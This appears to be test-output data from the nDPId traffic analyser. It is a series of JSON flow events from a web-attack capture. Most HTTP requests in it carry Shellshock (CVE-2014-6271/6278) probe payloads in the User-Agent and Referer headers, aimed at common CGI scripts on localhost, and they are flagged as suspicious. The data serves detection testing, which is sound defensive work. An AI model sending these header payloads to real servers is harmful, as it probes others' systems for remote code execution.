+00730{"flow_id":452,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":452,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":402551,"pkt_caplen":283,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":283,"pkt_l4_len":249,"pkt":"AAAAAAAAAAAAAAAACABFAAENn\/9AAEAGm+l\/AAABfwAAAcUiH5Cfgqc8sQq4SIAYAED\/AQAAAQEICp1m\/cKdZv3CR0VUIC9kb3dubG9hZC5jZ2kgSFRUUC8xLjENClVzZXItQWdlbnQ6ICgpIHsgOjsgfTsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3MTogdHJ1ZTtlY2hvO2VjaG87DQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpSZWZlcmVyOiAoKSB7IF87IH0gPl9bJCgkKCkpXSB7IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzg6IHRydWU7IGVjaG87ZWNobzsgfQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00790{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":452,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":452,"flow_packet_id":1,"flow_first_seen":1576420277402,"flow_last_seen":0,"flow_tot_l4_data_len":249,"flow_min_l4_data_len":249,"flow_max_l4_data_len":249,"flow_avg_l4_data_len":249,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50466,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/download.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":453,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":453,"flow_packet_id":1,"flow_first_seen":1576420277403,"flow_last_seen":0,"flow_tot_l4_data_len":254,"flow_min_l4_data_len":254,"flow_max_l4_data_len":254,"flow_avg_l4_data_len":254,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50468,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00733{"flow_id":453,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":453,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":403806,"pkt_caplen":288,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":288,"pkt_l4_len":254,"pkt":"AAAAAAAAAAAAAAAACABFAAESp5VAAEAGlE5\/AAABfwAAAcUkH5At0J9VXKwRhYAYAED\/BgAAAQEICp1m\/cOdZv3DR0VUIC9lbnRyb3B5c2VhcmNoLmNnaSBIVFRQLzEuMQ0KVXNlci1BZ2VudDogKCkgeyA6OyB9OyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02MjcxOiB0cnVlO2VjaG87ZWNobzsNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KUmVmZXJlcjogKCkgeyBfOyB9ID5fWyQoJCgpKV0geyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02Mjc4OiB0cnVlOyBlY2hvO2VjaG87IH0NCg0K"} +00795{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":453,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":453,"flow_packet_id":1,"flow_first_seen":1576420277403,"flow_last_seen":0,"flow_tot_l4_data_len":254,"flow_min_l4_data_len":254,"flow_max_l4_data_len":254,"flow_avg_l4_data_len":254,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50468,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/entropysearch.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":454,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":454,"flow_packet_id":1,"flow_first_seen":1576420277405,"flow_last_seen":0,"flow_tot_l4_data_len":244,"flow_min_l4_data_len":244,"flow_max_l4_data_len":244,"flow_avg_l4_data_len":244,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50470,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00721{"flow_id":454,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":454,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":405059,"pkt_caplen":278,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":278,"pkt_l4_len":244,"pkt":"AAAAAAAAAAAAAAAACABFAAEI2lVAAEAGYZh\/AAABfwAAAcUmH5ARUOKViVHVaYAYAED+\/AAAAQEICp1m\/cSdZv3ER0VUIC9lbnYuY2dpIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClJlZmVyZXI6ICgpIHsgXzsgfSA+X1skKCQoKSldIHsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3ODogdHJ1ZTsgZWNobztlY2hvOyB9DQpVc2VyLUFnZW50OiAoKSB7IDo7IH07IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzE6IHRydWU7ZWNobztlY2hvOw0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00785{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":454,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":454,"flow_packet_id":1,"flow_first_seen":1576420277405,"flow_last_seen":0,"flow_tot_l4_data_len":244,"flow_min_l4_data_len":244,"flow_max_l4_data_len":244,"flow_avg_l4_data_len":244,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50470,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/env.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":455,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":455,"flow_packet_id":1,"flow_first_seen":1576420277406,"flow_last_seen":0,"flow_tot_l4_data_len":252,"flow_min_l4_data_len":252,"flow_max_l4_data_len":252,"flow_avg_l4_data_len":252,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50472,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00733{"flow_id":455,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":455,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":406307,"pkt_caplen":286,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":286,"pkt_l4_len":252,"pkt":"AAAAAAAAAAAAAAAACABFAAEQ2p9AAEAGYUZ\/AAABfwAAAcUoH5D43eJbIwWC0IAYAED\/BAAAAQEICp1m\/cadZv3GR0VUIC9lbnZpcm9ubWVudC5jZ2kgSFRUUC8xLjENClVzZXItQWdlbnQ6ICgpIHsgOjsgfTsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3MTogdHJ1ZTtlY2hvO2VjaG87DQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENClJlZmVyZXI6ICgpIHsgXzsgfSA+X1skKCQoKSldIHsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3ODogdHJ1ZTsgZWNobztlY2hvOyB9DQoNCg=="} +00793{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":455,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":455,"flow_packet_id":1,"flow_first_seen":1576420277406,"flow_last_seen":0,"flow_tot_l4_data_len":252,"flow_min_l4_data_len":252,"flow_max_l4_data_len":252,"flow_avg_l4_data_len":252,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50472,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/environment.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":456,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":456,"flow_packet_id":1,"flow_first_seen":1576420277407,"flow_last_seen":0,"flow_tot_l4_data_len":249,"flow_min_l4_data_len":249,"flow_max_l4_data_len":249,"flow_avg_l4_data_len":249,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50474,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00729{"flow_id":456,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":456,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":407565,"pkt_caplen":283,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":283,"pkt_l4_len":249,"pkt":"AAAAAAAAAAAAAAAACABFAAENbStAAEAGzr1\/AAABfwAAAcUqH5C5flXvg270eYAYAED\/AQAAAQEICp1m\/cedZv3HR0VUIC9lem1sbS1icm93c2UgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KUmVmZXJlcjogKCkgeyBfOyB9ID5fWyQoJCgpKV0geyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02Mjc4OiB0cnVlOyBlY2hvO2VjaG87IH0NCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6ICgpIHsgOjsgfTsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3MTogdHJ1ZTtlY2hvO2VjaG87DQoNCg=="} +00790{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":456,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":456,"flow_packet_id":1,"flow_first_seen":1576420277407,"flow_last_seen":0,"flow_tot_l4_data_len":249,"flow_min_l4_data_len":249,"flow_max_l4_data_len":249,"flow_avg_l4_data_len":249,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50474,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/ezmlm-browse","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":457,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":457,"flow_packet_id":1,"flow_first_seen":1576420277409,"flow_last_seen":0,"flow_tot_l4_data_len":249,"flow_min_l4_data_len":249,"flow_max_l4_data_len":249,"flow_avg_l4_data_len":249,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50476,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00729{"flow_id":457,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":457,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":409274,"pkt_caplen":283,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":283,"pkt_l4_len":249,"pkt":"AAAAAAAAAAAAAAAACABFAAENkcFAAEAGqid\/AAABfwAAAcUsH5BKNKl4Ee+JJYAYAED\/AQAAAQEICp1m\/cmdZv3JR0VUIC9mb3JtbWFpbC5jZ2kgSFRUUC8xLjENClVzZXItQWdlbnQ6ICgpIHsgOjsgfTsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3MTogdHJ1ZTtlY2hvO2VjaG87DQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENClJlZmVyZXI6ICgpIHsgXzsgfSA+X1skKCQoKSldIHsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3ODogdHJ1ZTsgZWNobztlY2hvOyB9DQoNCg=="} +00790{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":457,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":457,"flow_packet_id":1,"flow_first_seen":1576420277409,"flow_last_seen":0,"flow_tot_l4_data_len":249,"flow_min_l4_data_len":249,"flow_max_l4_data_len":249,"flow_avg_l4_data_len":249,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50476,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/formmail.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":458,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":458,"flow_packet_id":1,"flow_first_seen":1576420277410,"flow_last_seen":0,"flow_tot_l4_data_len":255,"flow_min_l4_data_len":255,"flow_max_l4_data_len":255,"flow_avg_l4_data_len":255,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50478,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00737{"flow_id":458,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":458,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":410519,"pkt_caplen":289,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":289,"pkt_l4_len":255,"pkt":"AAAAAAAAAAAAAAAACABFAAEToPJAAEAGmvB\/AAABfwAAAcUuH5CLPJg5VfIqUIAYAED\/BwAAAQEICp1m\/cqdZv3KR0VUIC9Gb3JtTWFpbC1jbG9uZS5jZ2kgSFRUUC8xLjENClJlZmVyZXI6ICgpIHsgXzsgfSA+X1skKCQoKSldIHsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3ODogdHJ1ZTsgZWNobztlY2hvOyB9DQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6ICgpIHsgOjsgfTsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3MTogdHJ1ZTtlY2hvO2VjaG87DQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00796{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":458,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":458,"flow_packet_id":1,"flow_first_seen":1576420277410,"flow_last_seen":0,"flow_tot_l4_data_len":255,"flow_min_l4_data_len":255,"flow_max_l4_data_len":255,"flow_avg_l4_data_len":255,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50478,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/FormMail-clone.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":459,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":459,"flow_packet_id":1,"flow_first_seen":1576420277412,"flow_last_seen":0,"flow_tot_l4_data_len":250,"flow_min_l4_data_len":250,"flow_max_l4_data_len":250,"flow_avg_l4_data_len":250,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50480,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00729{"flow_id":459,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":459,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":412887,"pkt_caplen":284,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":284,"pkt_l4_len":250,"pkt":"AAAAAAAAAAAAAAAACABFAAEOAyBAAEAGOMh\/AAABfwAAAcUwH5BOyzvYEAppQYAYAED\/AgAAAQEICp1m\/cydZv3MR0VUIC9ndWVzdGJvb2suY2dpIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClJlZmVyZXI6ICgpIHsgXzsgfSA+X1skKCQoKSldIHsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3ODogdHJ1ZTsgZWNobztlY2hvOyB9DQpVc2VyLUFnZW50OiAoKSB7IDo7IH07IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzE6IHRydWU7ZWNobztlY2hvOw0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00791{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":459,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":459,"flow_packet_id":1,"flow_first_seen":1576420277412,"flow_last_seen":0,"flow_tot_l4_data_len":250,"flow_min_l4_data_len":250,"flow_max_l4_data_len":250,"flow_avg_l4_data_len":250,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50480,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/guestbook.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":460,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":460,"flow_packet_id":1,"flow_first_seen":1576420277414,"flow_last_seen":0,"flow_tot_l4_data_len":249,"flow_min_l4_data_len":249,"flow_max_l4_data_len":249,"flow_avg_l4_data_len":249,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50482,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00729{"flow_id":460,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":460,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":414591,"pkt_caplen":283,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":283,"pkt_l4_len":249,"pkt":"AAAAAAAAAAAAAAAACABFAAENCPdAAEAGMvJ\/AAABfwAAAcUyH5A4wTA94El3uoAYAED\/AQAAAQEICp1m\/c6dZv3OR0VUIC9oZWxwZGVzay5jZ2kgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KUmVmZXJlcjogKCkgeyBfOyB9ID5fWyQoJCgpKV0geyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02Mjc4OiB0cnVlOyBlY2hvO2VjaG87IH0NClVzZXItQWdlbnQ6ICgpIHsgOjsgfTsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3MTogdHJ1ZTtlY2hvO2VjaG87DQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00790{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":460,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":460,"flow_packet_id":1,"flow_first_seen":1576420277414,"flow_last_seen":0,"flow_tot_l4_data_len":249,"flow_min_l4_data_len":249,"flow_max_l4_data_len":249,"flow_avg_l4_data_len":249,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50482,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/helpdesk.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":461,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":461,"flow_packet_id":1,"flow_first_seen":1576420277416,"flow_last_seen":0,"flow_tot_l4_data_len":246,"flow_min_l4_data_len":246,"flow_max_l4_data_len":246,"flow_avg_l4_data_len":246,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50484,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00725{"flow_id":461,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":461,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":416339,"pkt_caplen":280,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":280,"pkt_l4_len":246,"pkt":"AAAAAAAAAAAAAAAACABFAAEKgptAAEAGuVB\/AAABfwAAAcU0H5CIJLpUcW+qJoAYAED+\/gAAAQEICp1m\/dCdZv3QR0VUIC9pbmRleC5jZ2kgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6ICgpIHsgOjsgfTsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3MTogdHJ1ZTtlY2hvO2VjaG87DQpSZWZlcmVyOiAoKSB7IF87IH0gPl9bJCgkKCkpXSB7IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzg6IHRydWU7IGVjaG87ZWNobzsgfQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00787{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":461,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":461,"flow_packet_id":1,"flow_first_seen":1576420277416,"flow_last_seen":0,"flow_tot_l4_data_len":246,"flow_min_l4_data_len":246,"flow_max_l4_data_len":246,"flow_avg_l4_data_len":246,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50484,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":462,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":462,"flow_packet_id":1,"flow_first_seen":1576420277417,"flow_last_seen":0,"flow_tot_l4_data_len":246,"flow_min_l4_data_len":246,"flow_max_l4_data_len":246,"flow_avg_l4_data_len":246,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50486,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00725{"flow_id":462,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":462,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":417869,"pkt_caplen":280,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":280,"pkt_l4_len":246,"pkt":"AAAAAAAAAAAAAAAACABFAAEKMxlAAEAGCNN\/AAABfwAAAcU2H5CRJgvewUykPIAYAED+\/gAAAQEICp1m\/dGdZv3RR0VUIC9pbmRleC5waHAgSFRUUC8xLjENClVzZXItQWdlbnQ6ICgpIHsgOjsgfTsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3MTogdHJ1ZTtlY2hvO2VjaG87DQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpSZWZlcmVyOiAoKSB7IF87IH0gPl9bJCgkKCkpXSB7IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzg6IHRydWU7IGVjaG87ZWNobzsgfQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00787{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":462,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":462,"flow_packet_id":1,"flow_first_seen":1576420277417,"flow_last_seen":0,"flow_tot_l4_data_len":246,"flow_min_l4_data_len":246,"flow_max_l4_data_len":246,"flow_avg_l4_data_len":246,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50486,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.php","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":463,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":463,"flow_packet_id":1,"flow_first_seen":1576420277419,"flow_last_seen":0,"flow_tot_l4_data_len":245,"flow_min_l4_data_len":245,"flow_max_l4_data_len":245,"flow_avg_l4_data_len":245,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50488,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00721{"flow_id":463,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":463,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":419261,"pkt_caplen":279,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":279,"pkt_l4_len":245,"pkt":"AAAAAAAAAAAAAAAACABFAAEJrmtAAEAGjYF\/AAABfwAAAcU4H5CXuZakZnwUBoAYAED+\/QAAAQEICp1m\/dOdZv3TR0VUIC9pbmRleC5wbCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpSZWZlcmVyOiAoKSB7IF87IH0gPl9bJCgkKCkpXSB7IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzg6IHRydWU7IGVjaG87ZWNobzsgfQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogKCkgeyA6OyB9OyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02MjcxOiB0cnVlO2VjaG87ZWNobzsNCg0K"} +00786{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":463,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":463,"flow_packet_id":1,"flow_first_seen":1576420277419,"flow_last_seen":0,"flow_tot_l4_data_len":245,"flow_min_l4_data_len":245,"flow_max_l4_data_len":245,"flow_avg_l4_data_len":245,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50488,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": 